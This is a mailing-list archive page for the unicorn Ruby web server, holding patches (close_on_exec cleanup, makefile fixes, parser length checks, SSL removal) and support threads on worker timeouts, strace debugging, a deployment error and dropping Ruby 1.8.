From: Eric Wong @ 2015-02-05 18:01 UTC (permalink / raw)
To: unicorn-public
IO#close_on_exec* methods are available since Ruby 1.9.1. It
allows us to use less bytecode as it requires fewer operands and
avoids constant lookups.
---
lib/unicorn.rb | 3 +--
lib/unicorn/http_server.rb | 9 +++------
lib/unicorn/util.rb | 1 +
3 files changed, 5 insertions(+), 8 deletions(-)
diff --git a/lib/unicorn.rb b/lib/unicorn.rb
index 638b846..cfa1656 100644
--- a/lib/unicorn.rb
+++ b/lib/unicorn.rb
@@ -1,5 +1,4 @@
# -*- encoding: binary -*-
-require 'fcntl'
require 'etc'
require 'stringio'
require 'rack'
@@ -100,7 +99,7 @@ module Unicorn
# remove this when we only support Ruby >= 2.0
def self.pipe # :nodoc:
- Kgio::Pipe.new.each { |io| io.fcntl(Fcntl::F_SETFD, Fcntl::FD_CLOEXEC) }
+ Kgio::Pipe.new.each { |io| io.close_on_exec = true }
end
# :startdoc:
end
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index 8a295f0..95a8ffe 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -434,10 +434,7 @@ class Unicorn::HttpServer
self.reexec_pid = fork do
listener_fds = {}
LISTENERS.each do |sock|
- # IO#close_on_exec= will be available on any future version of
- # Ruby that sets FD_CLOEXEC by default on new file descriptors
- # ref: http://redmine.ruby-lang.org/issues/5041
- sock.close_on_exec = false if sock.respond_to?(:close_on_exec=)
+ sock.close_on_exec = false
listener_fds[sock.fileno] = sock
end
ENV['UNICORN_FD'] = listener_fds.keys.join(',')
@@ -451,7 +448,7 @@ class Unicorn::HttpServer
next if listener_fds.include?(io)
io = IO.for_fd(io) rescue next
io.autoclose = false
- io.fcntl(Fcntl::F_SETFD, Fcntl::FD_CLOEXEC)
+ io.close_on_exec = true
end
# exec(command, hash) works in at least 1.9.1+, but will only be
@@ -607,7 +604,7 @@ class Unicorn::HttpServer
WORKERS.clear
after_fork.call(self, worker) # can drop perms and create listeners
- LISTENERS.each { |sock| sock.fcntl(Fcntl::F_SETFD, Fcntl::FD_CLOEXEC) }
+ LISTENERS.each { |sock| sock.close_on_exec = true }
worker.user(*user) if user.kind_of?(Array) && ! worker.switched
self.timeout /= 2.0 # halve it for select()
diff --git a/lib/unicorn/util.rb b/lib/unicorn/util.rb
index 94c4e37..c7784bd 100644
--- a/lib/unicorn/util.rb
+++ b/lib/unicorn/util.rb
@@ -1,5 +1,6 @@
# -*- encoding: binary -*-
+require 'fcntl'
module Unicorn::Util
# :stopdoc:
--
EW
^ permalink raw reply related [relevance 5%]
* [PATCH] GNUmakefile: fix clean gem build + reduce build cruft
@ 2015-02-04 20:16 7% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-02-04 20:16 UTC (permalink / raw)
To: unicorn-public
Ensure we have a NEWS file for building the gem beforehand.
We don't need to polute lib/ with object files, either.
---
GNUmakefile | 14 +++++++-------
1 file changed, 7 insertions(+), 7 deletions(-)
diff --git a/GNUmakefile b/GNUmakefile
index 4c40dc9..8bd63ee 100644
--- a/GNUmakefile
+++ b/GNUmakefile
@@ -57,10 +57,7 @@ $(ext)/Makefile: $(ext)/extconf.rb $(c_files)
cd $(@D) && $(RUBY) extconf.rb
$(ext)/unicorn_http.$(DLEXT): $(ext)/Makefile
$(MAKE) -C $(@D)
-lib/unicorn_http.$(DLEXT): $(ext)/unicorn_http.$(DLEXT)
- @mkdir -p lib
- install -m644 $< $@
-http: lib/unicorn_http.$(DLEXT)
+http: $(ext)/unicorn_http.$(DLEXT)
test-install: $(test_prefix)/.stamp
$(test_prefix)/.stamp: $(inst_deps)
@@ -85,6 +82,7 @@ test-unit: $(wildcard test/unit/test_*.rb)
$(slow_tests): $(test_prefix)/.stamp
@$(MAKE) $(shell $(awk_slow) $@)
+# ensure we can require just the HTTP parser without the rest of unicorn
test-require: $(ext)/unicorn_http.$(DLEXT)
$(RUBY) --disable-gems -I$(ext) -runicorn_http -e Unicorn
@@ -134,7 +132,6 @@ $(T): $(test_prefix)/.stamp
install: $(bins) $(ext)/unicorn_http.c
$(prep_setup_rb)
- $(RM) lib/unicorn_http.$(DLEXT)
$(RM) -r .install-tmp
mkdir .install-tmp
cp -p bin/* .install-tmp
@@ -150,7 +147,7 @@ prep_setup_rb := @-$(RM) $(setup_rb_files);$(MAKE) -C $(ext) clean
clean:
-$(MAKE) -C $(ext) clean
-$(MAKE) -C Documentation clean
- $(RM) $(ext)/Makefile lib/unicorn_http.$(DLEXT)
+ $(RM) $(ext)/Makefile
$(RM) $(setup_rb_files) $(t_log)
$(RM) -r $(test_prefix) man
@@ -160,7 +157,10 @@ man html:
pkg_extra := GIT-VERSION-FILE lib/unicorn/version.rb LATEST NEWS \
$(ext)/unicorn_http.c $(man1_paths)
-.manifest: $(ext)/unicorn_http.c man
+NEWS:
+ $(OLDDOC) prepare
+
+.manifest: $(ext)/unicorn_http.c man NEWS
(git ls-files && for i in $@ $(pkg_extra); do echo $$i; done) | \
LC_ALL=C sort > $@+
cmp $@+ $@ || mv $@+ $@
--
EW
^ permalink raw reply related [relevance 7%]
* Re: Timeouts longer than expected.
@ 2015-01-29 20:00 3% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-01-29 20:00 UTC (permalink / raw)
To: Antony Gelberg; +Cc: unicorn-public
Antony Gelberg <antony.gelberg@gmail.com> wrote:
> Hi all. We use unicorn in production across four servers, behind
> nginx and HAProxy (to load balance). We set a 300s timeout in the
> config file. On an average day, we see something like:
>
> E, [2015-01-22T17:01:24.335600 #4311] ERROR -- : worker=2 PID:21101
> timeout (301s > 300s), killing
>
> in our logs, ~60 times. However, one day we noticed that production
> had gone down with all the unicorns showing entries like the
> following:
>
> E, [2015-01-22T12:35:15.643020 #4311] ERROR -- : worker=1 PID:4605
> timeout (451s > 300s), killing
>
> (note the 451s before it was killed).
What other log entries appear in the 8 minutes leading up to the 451s
line?
Which version of unicorn is this?
There were some bugs fixed in ancient unicorn versions; and current
versions are still affected by big NTP adjustments due to the lack of
monotonic clock API in older Rubies.
I have a patch queued up for 5.x to use the monotonic clock, but
requires Ruby 2.1+ to be useful:
http://bogomips.org/unicorn-public/m/20150118033916.GA4478%40dcvr.yhbt.net.html
Maybe there's another sleep calculation bug, though. Not many people
rely on giant timeouts and probably never notice it.
I'll take a closer look at the master sleep calculations (in
murder_lazy_workers) in a week or so and see if there's another problem
lurking in the current versions.
> Any clues how we can better-understand the root cause, even if it's
> something we'll put in place for the future? We lack visibility here.
I'd use an in-process timeout to get backtraces. The
Application_Timeouts doc in the source and online has more
tips on dealing with timeouts in general.
http://unicorn.bogomips.org/Application_Timeouts.html
Also curious: you have users willing to wait 5 minutes for an
HTTP response? Yikes!
^ permalink raw reply [relevance 3%]
* [PATCH] http: -Wshorten-64-to-32 warnings on clang
@ 2015-01-28 18:44 2% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-01-28 18:44 UTC (permalink / raw)
To: unicorn-public
Tested on x86_64, clang version 3.5-1ubuntu1 (trunk) (LLVM 3.5)
These warnings were introduced on
commit 4b2782a926d8f131b1e7382be35e3abb77bf4be5
("http: reduce parser from 72 to 56 bytes on 64-bit")
and did not affect any releases.
These length checks should not be necessary in reality because
HTTP header sizes never come close to 4GB in size.
Fixup a minor coding style (inherited from Mongrel) violation
while we're at it (tabs => spaces).
---
ext/unicorn_http/unicorn_http.rl | 22 +++++++++++++++++-----
1 file changed, 17 insertions(+), 5 deletions(-)
diff --git a/ext/unicorn_http/unicorn_http.rl b/ext/unicorn_http/unicorn_http.rl
index 3294357..de83652 100644
--- a/ext/unicorn_http/unicorn_http.rl
+++ b/ext/unicorn_http/unicorn_http.rl
@@ -69,13 +69,25 @@ static void parser_raise(VALUE klass, const char *msg)
VALUE exc = rb_exc_new2(klass, msg);
VALUE bt = rb_ary_new();
- rb_funcall(exc, id_set_backtrace, 1, bt);
- rb_exc_raise(exc);
+ rb_funcall(exc, id_set_backtrace, 1, bt);
+ rb_exc_raise(exc);
+}
+
+static inline unsigned int ulong2uint(unsigned long n)
+{
+ unsigned int i = (unsigned int)n;
+
+ if (sizeof(unsigned int) != sizeof(unsigned long)) {
+ if ((unsigned long)i != n) {
+ rb_raise(rb_eRangeError, "too large to be 32-bit uint: %lu", n);
+ }
+ }
+ return i;
}
#define REMAINING (unsigned long)(pe - p)
-#define LEN(AT, FPC) (FPC - buffer - (unsigned long)hp->AT)
-#define MARK(M,FPC) (hp->M = (FPC) - buffer)
+#define LEN(AT, FPC) (ulong2uint(FPC - buffer) - hp->AT)
+#define MARK(M,FPC) (hp->M = ulong2uint((FPC) - buffer))
#define PTR_TO(F) (buffer + hp->F)
#define STR_NEW(M,FPC) rb_str_new(PTR_TO(M), LEN(M, FPC))
#define STRIPPED_STR_NEW(M,FPC) stripped_str_new(PTR_TO(M), LEN(M, FPC))
@@ -411,7 +423,7 @@ http_parser_execute(struct http_parser *hp, char *buffer, size_t len)
post_exec: /* "_out:" also goes here */
if (hp->cs != http_parser_error)
hp->cs = cs;
- hp->offset = p - buffer;
+ hp->offset = ulong2uint(p - buffer);
assert(p <= pe && "buffer overflow after parsing execute");
assert(hp->offset <= len && "offset longer than length");
--
EW
^ permalink raw reply related [relevance 2%]
* [RFC] remove old inetd+git examples and exec_cgi
@ 2015-01-22 5:12 3% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-01-22 5:12 UTC (permalink / raw)
To: unicorn-public
I'm tempted to remove these for 5.x, but maybe somebody depends on the
lib/unicorn/app/* portions somewhere... Does anybody care?
Subject: [PATCH] remove old inetd+git examples and exec_cgi
While it was technically interesting and fun to tunnel arbitrary
protocols over a semi-compliant Rack interface, nobody actually does
it (and anybody who does can look in our git history). This was
from back in 2009 when this was one of the few servers that could
handle chunked uploads, nowadays everyone does it! (or do they? :)
A newer version of exec_cgi.rb still lives on in the repository of
yet another horribly-named server, but there's no point in bloating
the installation footprint of somewhat popular server such as unicorn.
---
examples/git.ru | 13 ----
lib/unicorn/app/exec_cgi.rb | 154 --------------------------------------------
lib/unicorn/app/inetd.rb | 109 -------------------------------
3 files changed, 276 deletions(-)
delete mode 100644 examples/git.ru
delete mode 100644 lib/unicorn/app/exec_cgi.rb
delete mode 100644 lib/unicorn/app/inetd.rb
--
EW
^ permalink raw reply [relevance 3%]
* [PATCH] remove SSL support
@ 2014-12-21 11:17 2% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2014-12-21 11:17 UTC (permalink / raw)
To: unicorn-public
We implemented barely-advertised support for SSL for two reasons:
1) to detect corruption on LANs beyond what TCP offers
2) to support other servers based on unicorn (never happened)
Since this feature is largely not useful for unicorn itself,
there's no reason to penalize unicorn 5.x users with bloat.
In our defense, SSL support appeared in version 4.2.0 :)
---
Note: generated with "git format-patch -D" to ease review
lib/unicorn/configurator.rb | 2 -
lib/unicorn/http_server.rb | 3 --
lib/unicorn/ssl_client.rb | 11 -----
lib/unicorn/ssl_configurator.rb | 104 ----------------------------------------
lib/unicorn/ssl_server.rb | 42 ----------------
test/unit/test_sni_hostnames.rb | 47 ------------------
6 files changed, 209 deletions(-)
delete mode 100644 lib/unicorn/ssl_client.rb
delete mode 100644 lib/unicorn/ssl_configurator.rb
delete mode 100644 lib/unicorn/ssl_server.rb
delete mode 100644 test/unit/test_sni_hostnames.rb
diff --git a/lib/unicorn/configurator.rb b/lib/unicorn/configurator.rb
index 5962418..d14e608 100644
--- a/lib/unicorn/configurator.rb
+++ b/lib/unicorn/configurator.rb
@@ -1,6 +1,5 @@
# -*- encoding: binary -*-
require 'logger'
-require 'unicorn/ssl_configurator'
# Implements a simple DSL for configuring a \Unicorn server.
#
@@ -13,7 +12,6 @@ require 'unicorn/ssl_configurator'
# See the link:/TUNING.html document for more information on tuning unicorn.
class Unicorn::Configurator
include Unicorn
- include Unicorn::SSLConfigurator
# :stopdoc:
attr_accessor :set, :config_file, :after_reload
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index 69bf362..a523fce 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -1,5 +1,4 @@
# -*- encoding: binary -*-
-require "unicorn/ssl_server"
# This is the process manager of Unicorn. This manages worker
# processes which in turn handle the I/O and application process.
@@ -21,7 +20,6 @@ class Unicorn::HttpServer
attr_reader :pid, :logger
include Unicorn::SocketHelper
include Unicorn::HttpResponse
- include Unicorn::SSLServer
# backwards compatibility with 1.x
Worker = Unicorn::Worker
@@ -618,7 +616,6 @@ class Unicorn::HttpServer
self.timeout /= 2.0 # halve it for select()
@config = nil
build_app! unless preload_app
- ssl_enable!
@after_fork = @listener_opts = @orig_app = nil
readers = LISTENERS.dup
readers << worker
diff --git a/lib/unicorn/ssl_client.rb b/lib/unicorn/ssl_client.rb
deleted file mode 100644
index a8c79e3..0000000
diff --git a/lib/unicorn/ssl_configurator.rb b/lib/unicorn/ssl_configurator.rb
deleted file mode 100644
index 34f09ec..0000000
diff --git a/lib/unicorn/ssl_server.rb b/lib/unicorn/ssl_server.rb
deleted file mode 100644
index c00c3ae..0000000
diff --git a/test/unit/test_sni_hostnames.rb b/test/unit/test_sni_hostnames.rb
deleted file mode 100644
index 457afee..0000000
--
EW
^ permalink raw reply related [relevance 2%]
* Re: worker freeze and strace interpretation
@ 2014-12-02 18:58 2% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2014-12-02 18:58 UTC (permalink / raw)
To: Jérémy Lecour; +Cc: unicorn-public
Jérémy Lecour <jeremy.lecour@gmail.com> wrote:
> Hi,
>
> I've been trying to debug a weird situation on a Rails app (4.1) using
> Unicorn (4.8.3).
> Sometimes, some requests are hanging and I can't find why.
>
>
> I've hooked "strace" to the workers and I have a lot of lines with
> "Resource temporarily unavailable" and I wonder if it's normal.
Depends on the FD, but from yours, yes, EAGAIN is common for
non-blocking IO.
> Here is a snippet :
>
> 11587 write(7, "\27\3\3\1\253\36\274d\263\340\375\250d\374~X\364\306^\227{F\357~\223\347\245M\351-\360\301"...,
> 432 <unfinished ...>
> 11581 read(3, <unfinished ...>
lsof -p $PID will tell you what FD=3 is, but it looks to me 11581 is the
timer thread.
That means 11587 could be the main thread which handles your app.
I'm more curious to know what FD=7 is (some encrypted service your
app connects to?)
> 11587 <... write resumed> ) = 432 <0.000016>
> 11581 <... read resumed> 0x7f5b04878cc0, 1024) = -1 EAGAIN (Resource
> temporarily unavailable) <0.000012>
1024 matches CCP_READ_BUFF_SIZE in the MRI sources (thread_pthread.c)
in recent-ish versions of Ruby, so yes,
> 11581 read(5, <unfinished ...>
> 11587 write(7, "\27\3\3\t`+\22zIY\242\252L\346?n\245!\347c\251\341\fo\202Is\346\23\10\320\34"...,
> 2405 <unfinished ...>
> 11581 <... read resumed> "!", 1024) = 1 <0.000016>
Yep, "!" is the character the MRI timer thread uses to communicate.
> 11587 <... write resumed> ) = 2405 <0.000015>
> 11581 read(5, 0x7f5b04878cc0, 1024) = -1 EAGAIN (Resource
> temporarily unavailable) <0.000014>
Hmm, FD=5... I suspect that's the other timer thread pipe.
Which version of Ruby are you using? Newere ones have two
timer thread pipes.
> 11587 read(7, <unfinished ...>
> 11581 poll([{fd=3, events=POLLIN}], 1, 100 <unfinished ...>
> 11587 <... read resumed> 0x7f5af47c0123, 5) = -1 EAGAIN (Resource
> temporarily unavailable) <0.000009>
OK, now FD=7 is probably the most interesting to your process.
> 11587 futex(0x7f5b04885054, FUTEX_WAKE_OP_PRIVATE, 1, 1,
> 0x7f5b04885050, {FUTEX_OP_SET, 0, FUTEX_OP_CMP_GT, 1}) = 1 <0.000005>
> 1184 <... futex resumed> ) = 0 <0.000226>
However, 1184 is a thread we haven't seen before. The TID
is far off from 11581 and 11587, so it could've been spawned after TID
wraparound.
Just to confirm, is 11587 or 1184 the PID you saw in "ps" output?
(and unicorn logs, in the time period you were stracing)
(Of course, PIDs and TIDs get recycled over time, so they're only valid
in the context while these straced processes was running)
> 11587 futex(0x7f5b0488508c, FUTEX_WAIT_PRIVATE, 231, NULL <unfinished ...>
> 1184 futex(0x7f5b0488508c, FUTEX_WAKE_OP_PRIVATE, 1, 1,
> 0x7f5b04885088, {FUTEX_OP_SET, 0, FUTEX_OP_CMP_GT, 1} <unfinished ...>
> 11587 <... futex resumed> ) = -1 EAGAIN (Resource
> temporarily unavailable) <0.000015>
> 1184 <... futex resumed> ) = 0 <0.000009>
> 11587 futex(0x7f5b04885020, FUTEX_WAIT_PRIVATE, 2, NULL <unfinished ...>
> 1184 futex(0x7f5b04885020, FUTEX_WAKE_PRIVATE, 1 <unfinished ...>
> 11587 <... futex resumed> ) = -1 EAGAIN (Resource
> temporarily unavailable) <0.000007>
> 1184 <... futex resumed> ) = 0 <0.000008>
Anything more after this?
So I'm curious for your process, what FD=7 is, and what TID=1184 is
doing. That above futex calls looks like normal thread switching
behavior in MRI with no interesting syscalls going on for network I/O.
There could be some CPU-intensive stuff going on but no interesting
syscalls, so maybe we need to check CPU usage for this process in "top",
too.
> Is there a better way to hook into a worker process when the request
> is hanging, to see what it is doing ?
Maybe, but I usually don't need more than strace + lsof
(use lsof to figure out which FD is which).
If I need more, I prefer to I sprinkle warn() calls in the application
to figure out what and where things are going. This can aid in
the strace, as you'll see your warn() calls become:
write(2, "warning...", ...)
calls in strace.
unicorn always sets "$stderr.sync = true" immediately to ensure any
warnings are flushed to the OS so it's visible in strace immediately.
In C programs and C extensions, I may also use to write() on an invalid
(out-of-bounds too large or negative) FD to view the location in strace.
int preserve_errno = errno; /* avoid errno-side effects */
write(-1, "message", msg_len);
errno = preserve_errno;
> Also, I didn't find a way to instrument how a worker handles a request.
> I was looking for a debug message when a new request is taken and when
> it is returned.
You can strace earlier and look for the following syscalls, in order:
- accept() (or accept4() on recent Linux) succeeding and
returning the client FD
- read() succeeding on the client FD returned by accept()
You'll see "something like "GET /... HTTP/1.0" from nginx, you may
want to use "-s 16384" or some bigger number for big requests
There's usually only one read() for small requests when talking
to nginx.
- possibly lots of application processing here
You might see more read() calls to the client FD if you're
handling uploads
- write()s on the client FD you saw your HTTP requests with
earlier. You should see your HTTP response here, something
like: write(FD, "HTTP/1.1 200 OK\r\n ...", ...)
- shutdown() + close() on the client FD.
Hope that helps.
^ permalink raw reply [relevance 2%]
* Re: Having issue with Unicorn
@ 2014-10-24 18:02 3% ` Imdad
0 siblings, 0 replies; 200+ results
From: Imdad @ 2014-10-24 18:02 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
Thanks Eric, here is my deploy.rb and config/unicorn.rb
NOTE: /releases/6 and /releases/28 both have same error message
config/unicorn.rb
==============
# Set your full path to application.
app_dir = File.expand_path('../../', __FILE__)
shared_dir = File.expand_path('../../../shared/', __FILE__)
# Set unicorn options
worker_processes 2
preload_app true
timeout 30
# Fill path to your app
working_directory app_dir
# Set up socket location
listen "#{shared_dir}/sockets/unicorn.sock", :backlog => 64
# Loging
stderr_path "#{shared_dir}/log/unicorn.stderr.log"
stdout_path "#{shared_dir}/log/unicorn.stdout.log"
# Set master PID location
pid "#{shared_dir}/pids/unicorn.pid"
before_fork do |server, worker|
defined?(ActiveRecord::Base) and ActiveRecord::Base.connection.disconnect!
old_pid = "#{server.config[:pid]}.oldbin"
if File.exists?(old_pid) && server.pid != old_pid
begin
sig = (worker.nr + 1) >= server.worker_processes ? :QUIT : :TTOU
Process.kill(sig, File.read(old_pid).to_i)
rescue Errno::ENOENT, Errno::ESRCH
# someone else did our job for us
end
end
end
after_fork do |server, worker|
defined?(ActiveRecord::Base) and ActiveRecord::Base.establish_connection
end
before_exec do |server|
ENV['BUNDLE_GEMFILE'] = "#{app_dir}/Gemfile"
end
deploy.rb
==========
require 'mina/bundler'
require 'mina/rails'
require 'mina/git'
require 'mina/rbenv' # for rbenv support. (http://rbenv.org)
# require 'mina/rvm' # for rvm support. (http://rvm.io)
# TODO: Look into this later
#require 'mina_sidekiq/tasks'
require 'mina/unicorn'
# Basic settings:
# domain - The hostname to SSH to.
# deploy_to - Path to deploy into.
# repository - Git repo to clone from. (needed by mina/git)
# branch - Branch name to deploy. (needed by mina/git)
set_default :rbenv_path, "/root/.rbenv" #{}"/root/.rbenv"
#set_default :bundle_path, '/root/.rbenv/shims/bundle'
#set_default :bundle_bin, 'bundle exec'
set :domain, '104.131.74.69'
set :deploy_to, '/var/www/hailisys'
set :repository, 'https://gitlab.com/hailisys/hailisys.git'
set :branch, 'master'
set :user, 'root'
set :forward_agent, true
# MOIN: Fix Password issue
set :term_mode, nil
# MOIN: Could be staging, production
set :rails_env, 'production'
set :port, '22'
set :unicorn_pid, "#{deploy_to}/shared/pids/unicorn.pid"
# For system-wide RVM install.
# set :rvm_path, '/usr/local/rvm/bin/rvm'
# Manually create these paths in shared/ (eg: shared/config/database.yml)
in your server.
# They will be linked in the 'deploy:link_shared_paths' step.
set :shared_paths, ['config/database.yml', 'log']
# Optional settings:
# set :user, 'foobar' # Username in the server to SSH to.
# set :port, '30000' # SSH port number.
# set :forward_agent, true # SSH forward_agent.
# This task is the environment that is loaded for most commands, such as
# `mina deploy` or `mina rake`.
task :environment do
# If you're using rbenv, use this to load the rbenv environment.
# Be sure to commit your .rbenv-version to your repository.
invoke :'rbenv:load'
# For those using RVM, use this to load an RVM version@gemset.
# invoke :'rvm:use[ruby-1.9.3-p125@default]'
end
# Put any custom mkdir's in here for when `mina setup` is ran.
# For Rails apps, we'll make some of the shared paths that are shared
between
# all releases.
task :setup => :environment do
queue! %[mkdir -p "#{deploy_to}/shared/log"]
queue! %[chmod g+rx,u+rwx "#{deploy_to}/shared/log"]
queue! %[mkdir -p "#{deploy_to}/shared/config"]
queue! %[chmod g+rx,u+rwx "#{deploy_to}/shared/config"]
queue! %[mkdir -p "#{deploy_to}/shared/pids"]
queue! %[chmod g+rx,u+rwx "#{deploy_to}/shared/pids"]
queue! %[mkdir -p "#{deploy_to}/shared/sockets"]
queue! %[chmod g+rx,u+rwx "#{deploy_to}/shared/sockets"]
queue! %[touch "#{deploy_to}/shared/config/database.yml"]
queue %[echo "-----> Be sure to edit 'shared/config/database.yml'."]
# sidekiq needs a place to store its pid file and log file
queue! %[mkdir -p "#{deploy_to}/shared/pids/"]
queue! %[chmod g+rx,u+rwx "#{deploy_to}/shared/pids"]
end
desc "Deploys the current version to the server."
task :deploy => :environment do
deploy do
# stop accepting new workers
# TODO: Look into this later
# invoke :'sidekiq:quiet'
# Put things that will set up an empty directory into a fully set-up
# instance of your project.
invoke :'git:clone'
invoke :'deploy:link_shared_paths'
invoke :'bundle:install'
invoke :'rails:db_migrate'
invoke :'rails:assets_precompile'
invoke :'deploy:cleanup'
to :launch do
# Passenger
# queue "mkdir -p #{deploy_to}/#{current_path}/tmp/"
# queue "touch #{deploy_to}/#{current_path}/tmp/restart.txt"
# TODO: Look into this later
# invoke :'sidekiq:restart'
invoke :'unicorn:restart'
#invoke :'unicorn:start'
#queue "touch #{deploy_to}/tmp/restart.txt"
end
end
end
# For help in making your deploy script, see the Mina documentation:
#
# - http://nadarei.co/mina
# - http://nadarei.co/mina/tasks
# - http://nadarei.co/mina/settings
# - http://nadarei.co/mina/helpers
Please suggest what could be wrong.
Cheers!
Imdad Ali Khan
Mob (0) 9818484057
http://www.linkedin.com/in/imdad
On 24 October 2014 23:15, Eric Wong <e@80x24.org> wrote:
> Imdad <khanimdad@gmail.com> wrote:
> > I have rails4, nginx, unicorn and mona for app deployed
> > http://104.131.74.69/
> >
> > But after deploy hitting on above link results in error, and the log says
> >
> > root@Hailisys:~# tail -n 0 -f
> > /var/www/hailisys/shared/log/unicorn.stderr.log
> > I, [2014-10-24T17:28:53.162084 #15819] INFO -- : executing
> > ["/var/www/hailisys/releases/6/vendor/bundle/ruby/2.1.0/bin/unicorn",
> "-c",
> > "/var/www/hailisys/current/config/unicorn.rb", "-D", "-E", "production",
> > {11=>#<Kgio::UNIXServer:fd 11>}] (in /var/www/hailisys/releases/28)
>
> You're working inside /releases/28 here...
>
> >
> /var/www/hailisys/current/vendor/bundle/ruby/2.1.0/gems/unicorn-4.8.3/lib/unicorn/http_server.rb:475:in
> > `exec': No such file or directory -
> > /var/www/hailisys/releases/6/vendor/bundle/ruby/2.1.0/bin/unicorn
> > (Errno::ENOENT)
>
> However, it's trying to run out of /releases/6, which I assume is
> old enough to be removed by now.
>
> You should be able to set working_directory in your config/unicorn.rb:
>
> working_directory "/var/www/hailisys/current"
>
> Then SIGHUP to reload the config before sending SIGUSR2 to it.
>
> Hopefully that works. Normally you shouldn't need to set
> working_directory if you're working out of "/current";
> but I'm not sure what your deploy environment looks like.
>
^ permalink raw reply [relevance 3%]
* Re: Unicorn not working in GitLab 7.3
2014-10-06 15:07 3% ` Onno van der Straaten
@ 2014-10-07 5:08 0% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2014-10-07 5:08 UTC (permalink / raw)
To: Onno van der Straaten; +Cc: unicorn-public
Onno van der Straaten <onno.van.der.straaten@gmail.com> wrote:
> On Mon, Oct 6, 2014 at 5:04 PM, Onno van der Straaten wrote:
(Top-posting corrected. Please do not send HTML email as it ends up
marked as spam. You would've gotten a response much earlier if you
sent as plain text)
> > Hi,
> > I am using unicorn in GitLab 7.3. I found that unicorn will not serve
> > javascript files. There is no response. Other files such as css files work
> > fine.
> >
> > I have created an issue at the GitLab site as unicorn is part of his
> > product. For your information
> > https://github.com/gitlabhq/gitlabhq/issues/7973
This doesn't seems to be a configuration error or a bug in GitLab.
unicorn itself does not serve files, but just returns what Rack tells
it to do.
But since you're getting 60s timeouts, something seems seriously wrong
with that config; but at least you're on Linux so maybe strace can
help...
> This is unicorn 4.6.3 btw. On the other machine it is the same
> version 4.6.3. So maybe this issue is releated to using unicorn on CentOS.
Can you try:
1) configuring only single worker process
2) strace that worker process (strace -p $PID_OF_WORKER)
3) send only one request for a JS file to see what's happening?
In any case, if this GitLab instance is meant for any slow/unreliable
client connections outside your LAN, nginx should be serving static
files. unicorn is grossly inefficient for that (as explained on our
website):
http://unicorn.bogomips.org/PHILOSOPHY.html
^ permalink raw reply [relevance 0%]
* Re: Unicorn not working in GitLab 7.3
@ 2014-10-06 15:07 3% ` Onno van der Straaten
2014-10-07 5:08 0% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Onno van der Straaten @ 2014-10-06 15:07 UTC (permalink / raw)
To: unicorn-public
[-- Attachment #1: Type: text/plain, Size: 582 bytes --]
This is unicorn 4.6.3 btw. On the other machine it is the same
version 4.6.3. So maybe this issue is releated to using unicorn on CentOS.
On Mon, Oct 6, 2014 at 5:04 PM, Onno van der Straaten <
onno.van.der.straaten@gmail.com> wrote:
> Hi,
> I am using unicorn in GitLab 7.3. I found that unicorn will not serve
> javascript files. There is no response. Other files such as css files work
> fine.
>
> I have created an issue at the GitLab site as unicorn is part of his
> product. For your information
> https://github.com/gitlabhq/gitlabhq/issues/7973
> Best Regards,
> Onno
>
>
[-- Attachment #2: Type: message/external-body, Size: 84 bytes --]
^ permalink raw reply [relevance 3%]
* Re: dropping Ruby 1.8 support for unicorn 5?
2014-09-27 8:32 3% dropping Ruby 1.8 support for unicorn 5? Eric Wong
@ 2014-09-27 8:37 0% ` Ernest W. Durbin III
0 siblings, 0 replies; 200+ results
From: Ernest W. Durbin III @ 2014-09-27 8:37 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
[-- Attachment #1: Type: text/plain, Size: 1404 bytes --]
As the submitter of the referenced 1.8.6 patch *still ashamed* I can say that I fully support a 4.x series with “maintenance” level support.
Since the language won’t be changing, the 4.x series should be a very quiet branch indeed.
Onward, to greater things.
-Ernest
On Sep 27, 2014, at 4:32 AM, Eric Wong <e@80x24.org> wrote:
> We've brought this up a few times, but I suppose we might as well drop
> 1.8 support in a major version change.
>
> We may still maintain unicorn 4.x for 1.8 users indefinitely; after all,
> we only accepted a patch for 1.8.6 compatibility less than a year
> ago(!)[1]. So I'll still feel a _little_ bad for dropping 1.8 :x
>
> One big reason for this is it looks like Ruby will move towards
> deprecating old Data_* macros for superior (1.9+-only) TypedData_*
> macros in the next few years[2]. The theme for unicorn 5 is mostly
> dropping old, unused crap anyways; and not gaining new bloat.
>
> Worst case is we support 1.8 and avoid deprecation warnings through
> the use of ifdefs in the HTTP parser, but I'm no fan of ifdefs.
>
>
> [1] commit 7e9e4c740aba24096f768f578779dc1053cb8b70
> (construct listener_fds Hash in 1.8.6 compatible way)
>
> [2] http://svn.ruby-lang.org/cgi-bin/viewvc.cgi?view=revision&revision=47717
> This is due to type-checking issues like
> https://bugs.ruby-lang.org/issues/10296
>
^ permalink raw reply [relevance 0%]
* dropping Ruby 1.8 support for unicorn 5?
@ 2014-09-27 8:32 3% Eric Wong
2014-09-27 8:37 0% ` Ernest W. Durbin III
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2014-09-27 8:32 UTC (permalink / raw)
To: unicorn-public
We've brought this up a few times, but I suppose we might as well drop
1.8 support in a major version change.
We may still maintain unicorn 4.x for 1.8 users indefinitely; after all,
we only accepted a patch for 1.8.6 compatibility less than a year
ago(!)[1]. So I'll still feel a _little_ bad for dropping 1.8 :x
One big reason for this is it looks like Ruby will move towards
deprecating old Data_* macros for superior (1.9+-only) TypedData_*
macros in the next few years[2]. The theme for unicorn 5 is mostly
dropping old, unused crap anyways; and not gaining new bloat.
Worst case is we support 1.8 and avoid deprecation warnings through
the use of ifdefs in the HTTP parser, but I'm no fan of ifdefs.
[1] commit 7e9e4c740aba24096f768f578779dc1053cb8b70
(construct listener_fds Hash in 1.8.6 compatible way)
